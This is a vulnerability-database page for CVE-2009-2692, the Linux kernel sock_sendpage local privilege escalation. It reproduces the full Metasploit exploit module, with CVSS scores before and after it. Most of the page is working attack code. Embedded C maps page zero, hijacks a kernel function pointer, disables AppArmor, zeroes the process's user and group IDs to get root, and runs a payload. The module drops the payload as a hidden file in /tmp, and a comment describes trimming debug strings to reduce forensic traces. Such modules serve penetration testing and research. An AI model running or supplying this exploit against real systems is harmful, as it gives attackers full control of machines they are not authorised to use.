Lucene search

K
metasploitTavis Ormandy, Julien Tinnes <julien at cr0.org>, spender, rcvalle, egypt <[email protected]>MSF:EXPLOIT-LINUX-LOCAL-SOCK_SENDPAGE-
HistoryOct 09, 2013 - 9:03 p.m.

Linux Kernel Sendpage Local Privilege Escalation

2013-10-0921:03:40
Tavis Ormandy, Julien Tinnes <julien at cr0.org>, spender, rcvalle, egypt <[email protected]>
www.rapid7.com
53

CVSS2

7.2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The Linux kernel failed to properly initialize some entries in the proto_ops struct for several protocols, leading to NULL being dereferenced and used as a function pointer. By using mmap(2) to map page 0, an attacker can execute arbitrary code in the context of the kernel. Several public exploits exist for this vulnerability, including spender’s wunderbar_emporium and rcvalle’s ppc port, sock_sendpage.c. All Linux 2.4/2.6 versions since May 2001 are believed to be affected: 2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4 This module has been tested successfully on CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::LinuxKernel
  include Msf::Exploit::Local::Linux
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Linux Kernel Sendpage Local Privilege Escalation',
      'Description'    => %q{
        The Linux kernel failed to properly initialize some entries in the
        proto_ops struct for several protocols, leading to NULL being
        dereferenced and used as a function pointer. By using mmap(2) to map
        page 0, an attacker can execute arbitrary code in the context of the
        kernel.

        Several public exploits exist for this vulnerability, including
        spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.

        All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
        2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4

        This module has been tested successfully on CentOS 5.0 (i386) with
        kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with
        kernel version 2.4.27-3-386.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tavis Ormandy',                     # discovery
          'Julien Tinnes <julien at cr0.org>', # discovery
          'spender',                           # wunderbar_emporium.tgz
          'rcvalle',                           # sock_sendpage.c
          'egypt'                              # metasploit module
        ],
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'References'     =>
        [
          [ 'CVE', '2009-2692' ],
          [ 'EDB', '9545' ],
          [ 'EDB', '9641' ],
          [ 'BID', '36038' ],
          [ 'URL', 'https://www.securityfocus.com/archive/1/505751' ],
          [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
        ],
      'Targets'        =>
        [
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ]
        ],
      'DisclosureDate' => '2009-08-13',
      'Notes'          =>
        {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_OS_DOWN ],
        },
      'DefaultTarget'  => 0))
    register_options [
      OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir']
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def check
    version = Rex::Version.new kernel_release.split('-').first

    if version.to_s.eql? ''
      vprint_error 'Could not determine the kernel version'
      return CheckCode::Unknown
    end

    if version.between?(Rex::Version.new('2.4.4'), Rex::Version.new('2.4.37.4')) ||
       version.between?(Rex::Version.new('2.6.0'), Rex::Version.new('2.6.30.4'))
      vprint_good "Kernel version #{version} appears to be vulnerable"
    else
      vprint_error "Kernel version #{version} is not vulnerable"
      return CheckCode::Safe
    end

    arch = kernel_hardware
    unless arch.include?('x86') || arch =~ /i\d86/
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    if arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"

    mmap_min_addr_path = '/proc/sys/vm/mmap_min_addr'
    if file_exist? mmap_min_addr_path
      mmap_min_addr = read_file mmap_min_addr_path
    else
      mmap_min_addr = ''
    end

    case mmap_min_addr
    when ''
      vprint_good 'vm.mmap_min_addr is not set'
    when '0'
      vprint_good 'vm.mmap_min_addr is zero'
    else
      vprint_error "vm.mmap_min_addr (#{mmap_min_addr}) is not zero"
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    sc = Metasm::ELF.new @cpu
    sc.parse %Q|
      #ifdef __ELF__
        .section ".bss" rwx
        .section ".text" rwx
      #endif
    |
    current_task_struct_h sc

    if datastore['DEBUG_EXPLOIT']
      cparser.parse "#define DEBUG\n"
    end

    main = %q^

struct _IO_FILE;
typedef void _IO_lock_t;

struct _IO_marker {
        struct _IO_marker *_next;
        struct _IO_FILE *_sbuf;
        int _pos;
};
typedef unsigned int __gid_t;
typedef long __off_t;
typedef int __pid_t;
typedef
struct {
        long __val[2];
} __quad_t;
typedef int __ssize_t;
typedef unsigned int __uid_t;
extern void exit(int __status);
extern int open(const char *__file, int __oflag, ...);
extern void perror(const char *__s);
extern int printf(const char *__format, ...);
typedef unsigned long size_t;
extern int socket(int __domain, int __type, int __protocol);
extern int strcmp(const char *__s1, const char *__s2);
extern int unlink(const char *__name);

typedef __quad_t __off64_t;
extern __pid_t fork(void);
extern int ftruncate(int __fd, __off_t __length);
extern __gid_t getgid(void);
extern __uid_t getuid(void);
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
extern int mprotect(void *__addr, size_t __len, int __prot);
typedef __off_t off_t;
typedef __ssize_t ssize_t;

struct _IO_FILE {
        int _flags;
        char *_IO_read_ptr;
        char *_IO_read_end;
        char *_IO_read_base;
        char *_IO_write_base;
        char *_IO_write_ptr;
        char *_IO_write_end;
        char *_IO_buf_base;
        char *_IO_buf_end;
        char *_IO_save_base;
        char *_IO_backup_base;
        char *_IO_save_end;
        struct _IO_marker *_markers;
        struct _IO_FILE *_chain;
        int _fileno;
        int _flags2;
        __off_t _old_offset;
        unsigned short _cur_column;
        signed char _vtable_offset;
        char _shortbuf[1];
        _IO_lock_t *_lock;
        __off64_t _offset;
        void *__pad1;
        void *__pad2;
        void *__pad3;
        void *__pad4;
        size_t __pad5;
        int _mode;
        char _unused2[40];
};
extern ssize_t sendfile(int __out_fd, int __in_fd, off_t *__offset, size_t __count);

typedef struct _IO_FILE FILE;

extern int fclose(FILE *__stream);
extern FILE *fopen(const char *__filename, const char *__modes);
extern int fscanf(FILE *__stream, const char *__format, ...);


// Refactor missed these, added manually by the simple expedient of
// printf
#define PF_BLUETOOTH 31
#define PF_APPLETALK 5
#define PF_IPX       4
#define PF_IRDA      23
#define PF_X25       9
#define PF_AX25      3
#define PF_PPPOX     24

#define EOF -1

#define MAP_PRIVATE   0x02
#define MAP_FIXED     0x10
#define MAP_ANONYMOUS 0x20
#define MAP_ANON MAP_ANONYMOUS
#define MAP_FAILED ((void *)-1)

#define PROT_READ  0x1
#define PROT_WRITE 0x2
#define PROT_EXEC  0x4

#define O_CREAT 64
#define O_RDWR 2

#define SOCK_DGRAM  2


/*
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
*/

// Only print to stdout if we're debugging. This reduces our forensics
// footprint a touch by preventing our debugging strings from showing up
// in the binary when using the exploit for reals.
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif

#undef fscanf

#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif

#define NULL ((void*)0)
#define DOMAINS_STOP -1

const int domains[] = {
  PF_BLUETOOTH,
  PF_APPLETALK,
  PF_IPX,
  PF_IRDA,
  PF_X25,
  PF_AX25,
  PF_BLUETOOTH,
  PF_PPPOX,
  DOMAINS_STOP
  };

int *apparmor_enabled;

int got_ring0 = 0;
unsigned long uid, gid;

/*
static unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret;

  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    f = fopen("/proc/ksyms", "r");
    if (f == NULL) {
      dprintf("Unable to obtain symbol listing!\n");
      return 0;
    }
  }

  ret = 0;
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      dprintf(" [+] Resolved %s to %p\n", name, (void *)addr);
      fclose(f);
      return addr;
    }
  }

  fclose(f);
  return 0;
}
*/

static void
change_cred(void)
{
  unsigned int *task_struct;

  task_struct = (unsigned int *)current_task_struct();

  while (task_struct) {
    if (task_struct[0] == uid && task_struct[1] == uid &&
        task_struct[2] == uid && task_struct[3] == uid &&
        task_struct[4] == gid && task_struct[5] == gid &&
        task_struct[6] == gid && task_struct[7] == gid) {
      task_struct[0] = task_struct[1] =
      task_struct[2] = task_struct[3] =
      task_struct[4] = task_struct[5] =
      task_struct[6] = task_struct[7] = 0;
      break;
    }

    task_struct++;
  }

  return;
}

int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{

  got_ring0 = 1;
  if (apparmor_enabled && *apparmor_enabled) {
    *apparmor_enabled = 0;
  }
  change_cred();
  return -1;
}

SHELLCODE

int shellcode_size = 0;

int main(int argc, char **argv) {
  int i = 0;
  int d;
  int in_fd, out_fd;
  char *mapped;
  char template[] = "/tmp/sendfile.XXXXXX";
  int (*func)();

  dprintf("argv[0] = %s\n", argv[0]);
  unlink(argv[0]);

  uid = getuid(), gid = getgid();

  mapped = mmap(NULL , 0x1000,
      PROT_READ | PROT_WRITE | PROT_EXEC,
      MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
      0, 0
    );
  if (mapped == NULL) {
    dprintf("Mapped zero page!\n");
  } else {
    exit(1);
  }

  // jmp dword near [dword 0x8]
  mapped[0] = '\xff';
  mapped[1] = '\x25';
  *(unsigned long *)&mapped[2] = 8;
  *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;

  for (i = 0; i < 16; i++) {
    dprintf("\\\\x%02x", (unsigned char)mapped[i]);
  }
  dprintf("\n");

  for (d = 0; domains[d] != DOMAINS_STOP; d++) {
    //dprintf("Next domain ... ");
    out_fd = socket(domains[d], SOCK_DGRAM, 0);
    if (out_fd > 0) {
      dprintf("Got domain[%d]\n", d);
      break;
    }
    if (out_fd < 0) {
      perror("socket");
      exit(1);
    }
  }

  unlink(template);
  // Couldn't get mkstemp to work, just use open(2) for now
  in_fd = open(template, O_CREAT | O_RDWR, 0777);
  dprintf("Opened temp file: %d\n", in_fd);
  unlink(template);
  dprintf("Calling ftruncate\n");
  ftruncate(in_fd, 4096);

  dprintf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
  dprintf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
  sendfile(out_fd, in_fd, NULL, 4096);
  dprintf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
  dprintf("UID: %d GID: %d\n", getuid(), getgid());

  func = mmap(NULL, 0x1000,
      PROT_READ | PROT_WRITE | PROT_EXEC,
      MAP_PRIVATE | MAP_ANONYMOUS,
      0, 0
    );
  mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
  // weaksauce memcpy so we don't have to #include <string.h>
  dprintf("Copying %d bytes of shellcode\n", shellcode_size);
  for (i = 0; i < shellcode_size; i++) {
    (char)func[i] = (char)shellcode[i];
  }
  dprintf("Forking before calling shellcode: 0x%p\n", func);
  //sigtrap();
  if (fork()) {
    exit(0);
  }
  func();

  return got_ring0;
}
^

    main.gsub!(/SHELLCODE/) do
      # Split the payload into chunks and dump it out as a hex-escaped
      # literal C string.
      Rex::Text.to_c payload.encoded, 64, 'shellcode'
    end
    main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")

    cparser.parse main, 'main.c'
    #$stderr.puts cparser.factorize
    #return

    asm = cpu.new_ccompiler(cparser, sc).compile

    sc.parse asm
    sc.assemble
    sc.c_set_default_entrypoint

    begin
      if sc.kind_of? Metasm::ELF
        elf = sc.encode_string
      else
        foo = sc.encode_string
        elf = Msf::Util::EXE.to_linux_x86_elf framework, foo
      end
    rescue
      print_error "Metasm Encoding failed: #{$!}"
      elog "Metasm Encoding failed: #{$!.class} : #{$!}"
      elog "Call stack:\n#{$!.backtrace.join("\n")}"
      return
    end

    payload_path = "#{base_dir}/.#{rand_text_alphanumeric 8..12}"

    upload payload_path, elf
    cmd_exec "chmod +x #{payload_path}"

    print_status 'Executing payload...'
    output = cmd_exec payload_path
    output.each_line { |line| vprint_status line.chomp }
  end
end

CVSS2

7.2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H